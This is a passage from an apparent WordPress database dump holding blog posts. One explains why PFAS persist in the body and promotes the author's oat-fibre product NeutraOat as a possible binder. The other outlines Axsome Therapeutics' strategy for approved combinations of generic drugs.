pants with her stainproof sanitary napkin. The problem is what happens to her 20 years later, when the PFAS has entered her body and is still around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, it’s not just the heat from your stove, the dishwashing soap in your kitchen, or the blast of water from your sink that can’t break down PFAS. It’s your body’s bioremediation processes that struggle as well. Normal tricks like adding hydroxyl groups, attacking bonds with oxygen, or removing hydrogens don’t work against the tight fluorine-alkyl bonds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This problem is compounded by an unfortunate convergence. Our bodies are specialized to take up, bind, and carry long hydrophobic chains in the forms of fatty acids. And, because apparently nothing bad ever evolved to be a long hydrophobic chain besides fatty acids, all of the mechanisms that take up fatty acids also take up PFAS. So, the skin absorbs them, albumin picks them up and distributes them throughout the body, and then, if that’s not bad enough, the intestine and kidney actively pick them up from excretion and reabsorb them back into the bloodstream. This reabsorption is what leads to the “forever chemical” nomenclature, as the half-life of an indestructible chemical that keeps getting reabsorbed turns out to be measured in years (and, in some cases, decades).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That also means that they’re constantly interfering with everything that fatty acids are involved with in the body. This includes cholesterol levels, the liver, the thyroid, the breasts, and the gonads. Basically, any part of the body that’s “fatty” (think culinary) can be interfered with by PFAS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!KUus!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff414f321-57c6-49bd-b322-7536a96ec376_323x156.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!KUus!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff414f321-57c6-49bd-b322-7536a96ec376_323x156.png\" alt=\"\" title=\"\"/></a><figcaption class=\"wp-element-caption\">The structure of DEHP, the most common of the plasticizers. DEHP is not regular or repetitive and held together by multiple ester linkages, which means it’s not particularly resistant to chemical or physical reactions. However, this is a good thing for plastics, because DEHP’s promiscuity is one of the reasons it’s so useful in modifying the properties of plastics (although it’s also one of the reasons it interacts with so many things in our body).</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Based on the chemistry of our modified beta glucan, we’re expecting that NeutraOat will help with this issue. First, if you’re ingesting any PFAS at the same time as you’re ingesting NeutraOat, the long chains of the PFAS will get stuck in the hydrophobic NeutraOat pores, while the polar heads will become attached to the exposed hydroxyls. Second, as PFAS get picked up by the intestine and returned to the circulatory system, NeutraOat can pick it as it reenters through the enterohepatic system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>NeutraOat’s impact on PFAS may ultimately end up being more important than its impact on plasticizers, even though plasticizers are scarier and more prevalent. Plasticizers, at least, get out of the body relatively quickly, with or without NeutraOat, but PFAS accumulate. It’s something I plan to examine in depth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-chemical-reason-that-pfas-are#footnote-anchor-1-166090230\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is why regulators required many of the long-chain industrial PFAS to be replaced with short-chain PFAS. Unfortunately, short-chain PFAS is also better at permeating tissue, blood, and groundwater for the same reason, so probably not a great choice on the part of regulators. Whoops!</p>\n<!-- /wp:paragraph -->','The chemical reason that PFAS are \"forever\" chemicals','','publish','closed','closed','','the-chemical-reason-that-pfas-are-forever-chemicals','','','2025-07-03 19:48:57','2025-07-03 19:48:57','',0,'https://trevorklee.com/?page_id=538',0,'page','',0),
(539,1,'2025-07-03 19:48:57','2025-07-03 19:48:57','<!-- wp:paragraph -->\n<p>Let’s talk about “forever chemicals”, or PFAS. Most of my messaging around NeutraOat has been around its effects on plasticizers and BPA, but NeutraOat works generally to bind any small hydrophobic molecules, PFAS included. The public messaging around the distinctions between microplastics, plasticizers, and PFAS has been muddled, to say the least, which is why I haven’t talked about this side of NeutraOat before (see diagrams throughout this blogpost for a quick breakdown on the chemical differences). But, maybe it’s time to start.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!CLiQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa488cca4-08ca-474d-8e17-d093ba39ad55_387x232.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!CLiQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa488cca4-08ca-474d-8e17-d093ba39ad55_387x232.png\" alt=\"Most Common Types of PFAS\" title=\"Most Common Types of PFAS\"/></a><figcaption class=\"wp-element-caption\">PFAS chemical structure with its incredibly strong fluorine-carbon bonds. If you remember chemistry class, fluorine is way in the top right of the periodic table, so it holds its electrons very tightly. This makes PFAS useful for not reacting to anything.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Let’s start with what PFAS are. PFAS are per- and polyfluoroalkyl substances. If we break that compound word down, we get a reasonable idea of the general PFAS structure. They contain fluorine connected to alkyl groups. Alkyl groups are hydrocarbon groups that have replaced their hydrogens with something else. In PFAS, either all (per-) or many (poly-) of the hydrogens have been replaced by fluorine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This carbon-fluorine bond is hydrophobic and incredibly strong, because the carbon is fully shielded and not polarizable. Chaining these fluoroalkyl groups together gives a very strong, hydrophobic backbone. Chemists then often attach different polar heads or side chains to the backbone to create different effects, such as water solubility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first PFAS developed was Teflon back in the 30s. It was the simplest possible PFAS, in that it was purely composed of a perfluoroalkyl backbone. This made it incredibly hydrophobic, temperature stable, and slippery (no Van der Waals forces). Teflon only had limited use in specific industrial context until a couple entrepreneurs figured out that it made for a great coating for kitchen pans, making them “non stick”. Then production skyrocketed. Nowadays, it’s actually most commonly used as an insulator, exploiting its greedy tendency to refuse to share its electrons with current passing by, which is the same tendency that makes it so slippery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the invention of Teflon, many, many different types of PFAS were invented. As it turns out, a coating or substance that is very stable, hydrophobic, non-reactive, and a great thermal and electrical insulator is useful for all sorts of things. It’s useful for making waterproof fabric, mobile phone screens, firefighting foams, tampon applicators, and lipstick, with slight chemical changes needed depending on the specific application. For example, shorter chain PFAS are more water soluble, so are more useful when you don’t want your PFAS to last quite as long<a href=\"https://trevorklee.substack.com/p/the-chemical-reason-that-pfas-are#footnote-1-166090230\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!7xLV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f8b5947-a528-4090-9c97-55b456c71a5d_800x600.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!7xLV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f8b5947-a528-4090-9c97-55b456c71a5d_800x600.jpeg\" alt=\"Polyethylene (PE) - What It Is, Properties, Types and Uses\" title=\"Polyethylene (PE) - What It Is, Properties, Types and Uses\"/></a><figcaption class=\"wp-element-caption\">Polyethylene chemical structure. This is the most common type of plastic (and probably microplastic). You can find it in your plastic cups or plastic bags. The carbon hydrogen bonds are weaker than carbon-fluorine bonds, although the regular, repetitive structure still makes for a very chemically stable molecule, and it’s easy to make it into a large plastic bag.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>All of this is great for your standard 50s housewife, who can cook with her Teflon pan, look good for her husband in her Nylon stockings, impress the gals at the beauty counter with her waterproof liquid lipstick, and then avoid any unsightly spotting on her white pants with her stainproof sanitary napkin. The problem is what happens to her 20 years later, when the PFAS has entered her body and is still around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, it’s not just the heat from your stove, the dishwashing soap in your kitchen, or the blast of water from your sink that can’t break down PFAS. It’s your body’s bioremediation processes that struggle as well. Normal tricks like adding hydroxyl groups, attacking bonds with oxygen, or removing hydrogens don’t work against the tight fluorine-alkyl bonds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This problem is compounded by an unfortunate convergence. Our bodies are specialized to take up, bind, and carry long hydrophobic chains in the forms of fatty acids. And, because apparently nothing bad ever evolved to be a long hydrophobic chain besides fatty acids, all of the mechanisms that take up fatty acids also take up PFAS. So, the skin absorbs them, albumin picks them up and distributes them throughout the body, and then, if that’s not bad enough, the intestine and kidney actively pick them up from excretion and reabsorb them back into the bloodstream. This reabsorption is what leads to the “forever chemical” nomenclature, as the half-life of an indestructible chemical that keeps getting reabsorbed turns out to be measured in years (and, in some cases, decades).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That also means that they’re constantly interfering with everything that fatty acids are involved with in the body. This includes cholesterol levels, the liver, the thyroid, the breasts, and the gonads. Basically, any part of the body that’s “fatty” (think culinary) can be interfered with by PFAS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!KUus!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff414f321-57c6-49bd-b322-7536a96ec376_323x156.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!KUus!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff414f321-57c6-49bd-b322-7536a96ec376_323x156.png\" alt=\"\" title=\"\"/></a><figcaption class=\"wp-element-caption\">The structure of DEHP, the most common of the plasticizers. DEHP is not regular or repetitive and held together by multiple ester linkages, which means it’s not particularly resistant to chemical or physical reactions. However, this is a good thing for plastics, because DEHP’s promiscuity is one of the reasons it’s so useful in modifying the properties of plastics (although it’s also one of the reasons it interacts with so many things in our body).</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Based on the chemistry of our modified beta glucan, we’re expecting that NeutraOat will help with this issue. First, if you’re ingesting any PFAS at the same time as you’re ingesting NeutraOat, the long chains of the PFAS will get stuck in the hydrophobic NeutraOat pores, while the polar heads will become attached to the exposed hydroxyls. Second, as PFAS get picked up by the intestine and returned to the circulatory system, NeutraOat can pick it as it reenters through the enterohepatic system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>NeutraOat’s impact on PFAS may ultimately end up being more important than its impact on plasticizers, even though plasticizers are scarier and more prevalent. Plasticizers, at least, get out of the body relatively quickly, with or without NeutraOat, but PFAS accumulate. It’s something I plan to examine in depth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-chemical-reason-that-pfas-are#footnote-anchor-1-166090230\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is why regulators required many of the long-chain industrial PFAS to be replaced with short-chain PFAS. Unfortunately, short-chain PFAS is also better at permeating tissue, blood, and groundwater for the same reason, so probably not a great choice on the part of regulators. Whoops!</p>\n<!-- /wp:paragraph -->','The chemical reason that PFAS are \"forever\" chemicals','','inherit','closed','closed','','538-revision-v1','','','2025-07-03 19:48:57','2025-07-03 19:48:57','',538,'https://trevorklee.com/?p=539',0,'revision','',0),
(540,1,'2025-07-03 19:49:44','2025-07-03 19:49:44','<!-- wp:paragraph -->\n<p><em>I adapted this blog post directly from a presentation I did for Cure Parkinson’s, a UK charity that’s devoted to, well, Curing Parkinson’s. They’ve been running very cool repurposing trials, and are interested in exploring combination therapies instead of straight repurposing. They asked me to present on how other diseases have approached combination therapies. I thought Axsome Therapeutics would be a particularly interesting company to look at, because they’ve recently been incredibly successful at combining generic drugs for novel indications.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Instead of doing this as a proper blog post, I thought I’d just copy-paste my slides into Substack, because I think they largely speak for themselves. Let me know if this works.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, this post is too long for email, so click on the title to be taken to the web link to read it in full.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since 2020, 5 of the ~250 drugs approved by the FDA have been combinations of generic drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!kNr5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d639f93-7d5d-4193-b219-85dc93ac663e_1600x826.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!kNr5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d639f93-7d5d-4193-b219-85dc93ac663e_1600x826.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2 of those have been by Axsome Therapeutics, and have been great commercial successes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe for more posts on drugs!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!T8r7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!T8r7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But how? Let’s figure out the questions that need to be asked and Axsome’s answers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Figure out your mechanisms:&nbsp;</strong>what does each drug contribute individually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>Rationalize your combination:&nbsp;</strong>why do they need to be combined?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Make your formulations unique:&nbsp;</strong>why wouldn’t doctors just prescribe each drug separately?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4.&nbsp;<strong>Build your patent fortress:&nbsp;</strong>how do you prove this combination is novel and non-obvious?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5.&nbsp;<strong>Plan your trials:&nbsp;</strong>how do you take advantage of the data in the literature?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6.&nbsp;<strong>Work with payers and regulators early:</strong>&nbsp;how do you convince stakeholders to back the combination?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s look specifically into how Axsome did it with Auvelity (dextromethorphan-bupropion).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!ntGP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff5c8bf-6c78-4f29-b5de-911c65efc70a_1600x289.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ntGP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff5c8bf-6c78-4f29-b5de-911c65efc70a_1600x289.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Figure out your mechanisms:&nbsp;</strong>what does each drug contribute individually? Dextromethorphan is a rapid antidepressant and treatment for agitation in dementia. Bupropion is a long acting antidepressant and treatment for smoking cessation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!ilEQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c421dc5-bca0-4cd7-9041-4f5d03775f6a_1270x613.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ilEQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c421dc5-bca0-4cd7-9041-4f5d03775f6a_1270x613.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!OCbx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3a2858f-39e0-425e-aca1-04afbe46e44d_713x490.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!OCbx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3a2858f-39e0-425e-aca1-04afbe46e44d_713x490.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!cI-g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F97089525-0d3f-4fef-95ec-f85103f37085_2048x578.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!cI-g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F97089525-0d3f-4fef-95ec-f85103f37085_2048x578.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>Rationalize your combination:&nbsp;</strong>why do they need to be combined? PD and PK synergy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!db-W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F160ea73e-31f0-4f61-9e92-50495889ce7b_1284x284.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!db-W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F160ea73e-31f0-4f61-9e92-50495889ce7b_1284x284.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!rCfz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F814cea89-1408-4f40-96b7-40eb8877e344_1256x370.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!rCfz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F814cea89-1408-4f40-96b7-40eb8877e344_1256x370.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Make your formulations unique:&nbsp;</strong>why wouldn’t doctors just prescribe each drug separately? 45 mg DXM and 105 mg ER bupropion are unique and impossible to obtain generically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!PKsp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e4fe253-d5e1-46e4-bb8c-78a8822b29d8_480x230.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!PKsp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e4fe253-d5e1-46e4-bb8c-78a8822b29d8_480x230.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!YTS6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4298d8c8-b40c-4f24-a339-2862bee04f05_809x1227.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YTS6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4298d8c8-b40c-4f24-a339-2862bee04f05_809x1227.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!EfRk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0e8fa5c-b269-44bd-8339-173fa7df87ae_896x1148.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!EfRk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0e8fa5c-b269-44bd-8339-173fa7df87ae_896x1148.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Patent fortress:&nbsp;</strong>how do you prove this combination is novel and non-obvious to get your patents and intellectual protection? You can get patents on method-of-use, formulation, and dosage form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!h9JG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87af60ec-cd0e-47b7-8865-e0844814914f_1600x691.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!h9JG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87af60ec-cd0e-47b7-8865-e0844814914f_1600x691.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Plan your trials</strong>: how do you take advantage of the data in the literature to build out a comprehensive trial plan and get quickly to market? Do many phase 1 trials of the combination in healthy volunteers. They are the most important, because you know your mechanism of action and are confident on safety, you just don’t know how the drugs interact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Dpem!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc85dfcea-6bae-4403-9152-f7dd4e2dae16_2043x1145.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Dpem!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc85dfcea-6bae-4403-9152-f7dd4e2dae16_2043x1145.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!9FOS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6e1e339-552e-493e-9104-ad5810c5da52_1600x907.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!9FOS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6e1e339-552e-493e-9104-ad5810c5da52_1600x907.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Have patience! The stock didn’t take off until Axsome got good phase 2 results, which meant they had 4 years of Phase 1 trials that didn’t budge the stock price.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!T8r7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!T8r7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Working with payers and regulators early:&nbsp;</strong>how do you convince stakeholders to back the combination?&nbsp;<strong></strong>The FDA needs to know why you need exclusivity and how you plan to handle it, and payers need to know where your combo fits in with established treatment plans (i.e. why they should pay for it).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Working with regulators</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!YqAJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e349c-6f95-4fc9-83c6-aa5f68b31bf1_1600x393.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YqAJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e349c-6f95-4fc9-83c6-aa5f68b31bf1_1600x393.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Working with payers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" 